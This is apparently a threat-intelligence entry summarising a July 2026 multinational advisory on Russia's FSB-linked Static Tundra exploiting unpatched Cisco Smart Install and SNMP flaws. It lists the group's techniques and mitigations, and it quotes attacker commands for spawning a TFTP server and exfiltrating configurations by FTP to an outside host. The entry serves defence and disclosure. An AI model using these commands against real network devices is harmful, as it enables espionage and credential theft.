# Russian FSB Center 16 (Static Tundra/Berserk Bear) Exploiting Unpatched Cisco Smart Install Devices — Joint NSA/FBI/13-Nation Advisory

> NSA, FBI, and 12 co-signing nations issued a joint cybersecurity advisory (IC3 CSA-260713) warning that Russia's FSB Center 16 — tracked as Static Tundra, Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, and Ghost Blizzard — has for over a decade scanned the internet for and exploited unpatched Cisco networking devices via the Smart Install feature (CVE-2018-0171) and legacy SNMP/HTTP flaws (CVE-2008-4128), harvesting device configurations en masse across defense, communications, energy, financial services, government, and healthcare sectors.

- **Published:** 2026-07-13T00:00:00Z
- **Last reviewed:** 2026-07-19T00:08:10.337Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1277
- **ID:** TL-2026-1277
- **Severity:** HIGH (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** Static Tundra (Russia)
- **Detections:** 9 · **IOCs:** 37 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2018-0171, CVE-2008-4128

## Description

Static Tundra, assessed with high confidence as a sub-cluster of the FSB Center 16-linked Energetic Bear/Berserk Bear/Dragonfly cluster, has run a persistent global espionage campaign since at least 2015 against network infrastructure. The group's core objective is to compromise routers and switches to extract device configuration files en masse, banking that access for later use aligned with Russian state strategic interests. Its primary vector is CVE-2018-0171, a critical (CVSS 9.8) unauthenticated remote code execution / denial-of-service flaw in the Smart Install feature of Cisco IOS and IOS XE software: a crafted Smart Install message sent to TCP port 4786 triggers a buffer overflow that can reload the device, cause a watchdog crash, or grant arbitrary code execution. Cisco disclosed and patched this flaw in March 2018; despite a fixed release existing for over seven years, thousands of internet-facing, end-of-life devices remain vulnerable because Smart Install is enabled by default and organizations have not upgraded or disabled it (`no vstack`). Static Tundra combines this with CVE-2008-4128, a set of decade-old CSRF flaws in the Cisco IOS 12.4 HTTP administration interface on 871 ISRs, and with abuse of legacy unencrypted management protocols — SNMPv1/v2c with default or compromised read-write community strings (`public`, `anonymous`) and unauthenticated HTTP — to gain a secondary access path into devices that were never intended to be internet-reachable. Once inside a device, the actor spawns a TFTP server via `tftp-server nvram:startup-config`, connects to it to pull the startup configuration, and mines the extracted config for embedded credentials and SNMP community strings, which are then reused to pivot to adjacent devices. Persistence techniques include creating privileged (level 15) local accounts, modifying SNMP read-write strings, and — per historical FBI/Cisco reporting on this actor cluster — deploying the SYNful Knock firmware implant, a modular malicious IOS image modification that survives reboots and is activated via crafted 'magic packet' traffic. To move data and evade detection, the actor establishes GRE tunnels that redirect victim NetFlow/traffic to attacker-controlled infrastructure, exfiltrates configuration files outbound via TFTP/FTP (`copy running-config ftp://user:pass@host/output.txt`), spoofs source addresses on SNMP traffic to bypass ACLs, and modifies TACACS+ configuration to suppress remote logging of its activity. Target reconnaissance leverages native device commands (`show cdp neighbors`) plus internet-wide scan data from services like Shodan and Censys to identify vulnerable Smart-Install-enabled hosts at scale. The FBI and Cisco Talos both issued standalone warnings on this campaign in August 2025 after observing the actors collect configuration files for thousands of US-linked networking devices over the prior year, and in December 2025 the same cluster was linked to an attack on Poland's energy grid. The July 13, 2026 joint advisory — co-signed by the US, Canada, Australia, New Zealand, Czech Republic, Denmark, Estonia, Finland, France, Italy, Poland, Sweden, and the UK — confirms the campaign is ongoing, has escalated against Ukraine and allied nations since the 2022 invasion, and now spans telecommunications, higher education, manufacturing, defense industrial base, energy, financial services, government facilities, and healthcare targets across North America, Europe, Asia, and Africa. Mitigation is straightforward but requires action: patch or retire affected IOS/IOS XE devices, disable Smart Install entirely, replace SNMPv1/v2c with SNMPv3, disable Telnet/HTTP management in favor of SSH/HTTPS, enforce strong Type 8/Type 6 password hashing, and treat device configurations as untrusted (verify against a centralized, version-controlled source of truth rather than the device itself).

## MITRE ATT&CK

- T1596 Search Open Technical Databases
- T1590 Gather Victim Network Information
- T1190 Exploit Public-Facing Application
- T1133 External Remote Services
- T1059 Command and Scripting Interpreter
- T1136 Create Account
- T1098 Account Manipulation
- T1601 Modify System Image
- T1070 Indicator Removal
- T1205 Traffic Signaling
- T1552 Unsecured Credentials
- T1018 Remote System Discovery
- T1046 Network Service Discovery
- T1602 Data from Configuration Repository
- T1090 Proxy
- T1041 Exfiltration Over C2 Channel
- T1498 Network Denial of Service
- T1595.001 Active Scanning: Scanning IP Blocks
- T1595.002 Active Scanning: Vulnerability Scanning
- T1059.008 Network Device CLI
- T1078.003 Valid Accounts: Local Accounts
- T1136.001 Create Account: Local Account
- T1027 Obfuscated Files or Information
- T1070.007 Indicator Removal: Clear Network Connection History and Configurations
- T1686 Disable or Modify System Firewall
- T1552.001 Unsecured Credentials: Credentials In Files
- T1003 OS Credential Dumping
- T1040 Network Sniffing
- T1210 Exploitation of Remote Services
- T1602.002 Data from Configuration Repository: Network Device Configuration Dump
- T1602.001 Data from Configuration Repository: SNMP (MIB Dump)
- T1572 Protocol Tunneling
- T1095 Non-Application Layer Protocol
- T1048 Exfiltration Over Alternative Protocol

## Sources

- [Joint warning from 13 nations regarding Russian state-sponsored cyber targeting of critical infrastructure](https://cyberscoop.com/russian-fsb-cisco-joint-cybersecurity-advisory/)
- [IC3 Joint Cybersecurity Advisory CSA-260713](https://www.ic3.gov/CSA/2026/260713.pdf)
- [CVE-2018-0171 Detail](https://nvd.nist.gov/vuln/detail/cve-2018-0171)
- [CVE-2008-4128 Detail](https://nvd.nist.gov/vuln/detail/cve-2008-4128)
- [Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20180328-smi2.html)
- [Russian state-sponsored espionage group Static Tundra compromises unpatched end-of-life network devices](https://blog.talosintelligence.com/static-tundra/)
- [Static Tundra Analysis & CVE-2018-0171 Detection Guide](https://www.splunk.com/en_us/blog/security/cve-2018-0171-static-tundra-smart-install-detection-guide.html)
- [FBI Warns FSB-Linked Hackers Exploiting Unpatched Cisco Devices for Cyber Espionage](https://thehackernews.com/2025/08/fbi-warns-russian-fsb-linked-hackers.html)
- [Russian Espionage Group Static Tundra Targets Legacy Cisco Flaw](https://www.infosecurity-magazine.com/news/russian-espionage-group-targets/)
- [Russian APT Exploiting 7-Year-Old Cisco Vulnerability: FBI](https://www.securityweek.com/russian-apt-exploiting-7-year-old-cisco-vulnerability-fbi/)
- [Russian state cyber group Static Tundra exploiting Cisco devices, FBI warns](https://therecord.media/russia-cisco-fsb-static-tundra)
- [US and allies warn of Russian critical infrastructure attacks](https://www.bleepingcomputer.com/news/security/us-and-allies-share-defense-tips-against-russian-hackers-targeting-critical-infrastructure/)
- [UK and Allies urge critical sectors to improve defences against Russian intelligence targeting](https://www.ncsc.gov.uk/news/uk-and-allies-urge-critical-sectors-to-improve-defences-against-russian-intelligence-targeting)
- [Splunk Security Content: Cisco Secure Firewall - Static Tundra Smart Install Abuse](https://research.splunk.com/network/7e9a5a2c-2f1a-4b6a-9a4b-9e7d9c8f5a21/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1277